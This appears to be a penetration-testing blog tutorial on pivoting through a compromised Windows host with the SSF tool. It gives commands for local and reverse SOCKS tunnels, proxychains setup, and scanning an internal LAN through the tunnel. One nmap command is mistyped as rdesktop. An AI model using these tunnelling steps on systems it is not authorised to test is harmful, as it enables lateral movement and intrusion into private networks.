SSF

Pivoting is a key part of Penetration Testing as it allows you to move through the target network, getting access to subnets that are on the other side of NAT routers or otherwise inaccessible from your point of entry. Pivoting from a linux machine is quite well served since most linux boxes are running SSH and this service can be co-opted for this purpose. But pivoting from a Windows box you’ve compromised isn’t quite so simple to do using native commands. In this post I’ll cover using SSF: Secure Sockets Funneling – a tool available here

Secure Sockets Funnelling (SSF)

SSF is a cross-platform tool which allows secure traffic routing of both TCP and UDP packets in a variety of configurations. It consists of a bundle of executables which are standalone (requiring no installation or dependencies like .NET or VC++). This means as long as you can get files onto your target host, you can use it and the syntax will be the same whether it’s Windows or Linux. You can perform all of it’s functions using other tools – that’s a given – but you never know what you will or will not be able to run on any host you penetrate and having another tool in your box is always a good idea, especially when it’s portable and easy to use like this one.

SOCKS

The SOCKS feature is my favorite feature as it allows you very easily and quickly set up a SOCKS proxy on a target machine inside the network, which will forward both TCP and UDP traffic for ANY PORT through the target host, to any subnets it has access too. It comes in a local or remote configuration.

Local SOCKS

Let’s say you have SYSTEM access to a Windows 7 machine on at 10.0.0.1 and this machine is dual-homed, having a second ethernet port connected to the internal 192.168.0.0/24 network. There are 10 other machines on this local 192.168.0.0 LAN and you want to be able to scan and attack them. You could use normal local port forwarding but that requires you to specificy each port for each service you’re attacking. Setting up dynamic port forwarding on Windows machines (without Metaploit / Meterpreter) solves this but isn’t so simple, but SSF makes it a snap.

Kali—–>Windows Target—–>Internal LAN of target

SSF requires the SSF server (ssfd) to be set up which listens for communication from the SSF client (ssf), which it the forwards onwards. In this local SOCKS scenario the server will be on the Windows machine, therefore it requires you to have inbound access to the port you’ll be using on the Windows machine, be that by deactivating the firewall or opening ports on it.

• On the Windows machine, set up the server: ssfd -p 11111
• On your Kali box, set up the client: ssf -D 22222 -p 11111 10.0.0.1
• In proxychains.conf, add the line: socks4 127.0.0.1 22222

(to edit proxychains.conf: nano /etc/proxychains.conf)

Here 11111 is a port you select on which you can SSF client and server to communicate with each other, 22222 is a port you select for the local SOCKS listener to run on and 10.0.0.1 is the IP of the Win7 machine upon which you set up the SSF server.

To RDP to a PC on the 192.168.3.0/24 subnet, accessible from the remote host, you would use: proxychains rdesktop 192.168.3.25

To use nmap to scan for machines with web port 80 running on the 192.168.0.0/24 subnet: proxychains rdesktop -n -P0 -sT 192.168.0.0/24 -p 80

Nmap will be slow and have other limitation (hence the -sT scan) but it works. You will probably want to lower the  values of tcp_read_time_out and tcp_connect_time_out 800 in proxychains.conf by a factor 10 or more unless you like waiting around.

If you’re not familiar with proxychains there are scores of tutorials on the net, but in brief it allows the ad-hoc forwarding of traffic created by linux commands/tools by preceding your normal command with “proxychains”, and the setup of the proxy (or chains or proxies, hence the name) is done in its config file: proxychains.conf.

Remote SOCKS (“Reverse Proxy”)

In the previous example the SSF Server was running on the Windows machine, listening for traffic from the client on the kali machine and then forwarding to networks it has access to. This is only useful if the client can reach the server’s port. If there is a firewall in the way, it probably won’t, in the same way that Bind Shells tend to be of limited use in a lot of situations. In these situations we can use the Remote SOCKS set-up – the networking equivalent to the Reverse Shell.

Kali<—–Windows Target—–>Internal LAN

Here the SSF Server is on our kali machine, the SSF Client on the remote host and the traffic is being transmitted in the other direction, from server-to-client and then forwarded onwards.

• On your Kali box (192.168.0.5), set up the server: ssfd -p 11111
  • This sets ssf up listening on port 11111
• On Windows, set up the client: ssf -F 22222 -p 11111 192.168.0.5
  
  • This connects to the ssfd on Kali
• In proxychains.conf, add the line: socks4 127.0.0.1 22222
  • This sets up socks proxy

The difference here is that the Kali box is running server this time and the Window target machine the client but with the -F switch. This makes SSF forward traffic in the other direction, from the server to the client. But because the server is on the Kali box, the initial connection in outbound with respect to the Windows box, hopefully getting through the common firewall settings. Other than that, it all works the same as for Local SOCKS.

Note: I find the more one thinks about what defines a “server” vs a “client” the more confusing it gets in these situations and the best explanation I have found is that a server is software that listens out for a connection request from a client. Once a connection has been set up, the actual direction of the bulk of the resulting traffic does not define what is, or isn’t, the server. In fact a machine is often both, at the same time at different layers.

In Part 2, I’ll go through some of the other capabilities of SSF and how they can be used in Pen Testing scenarios.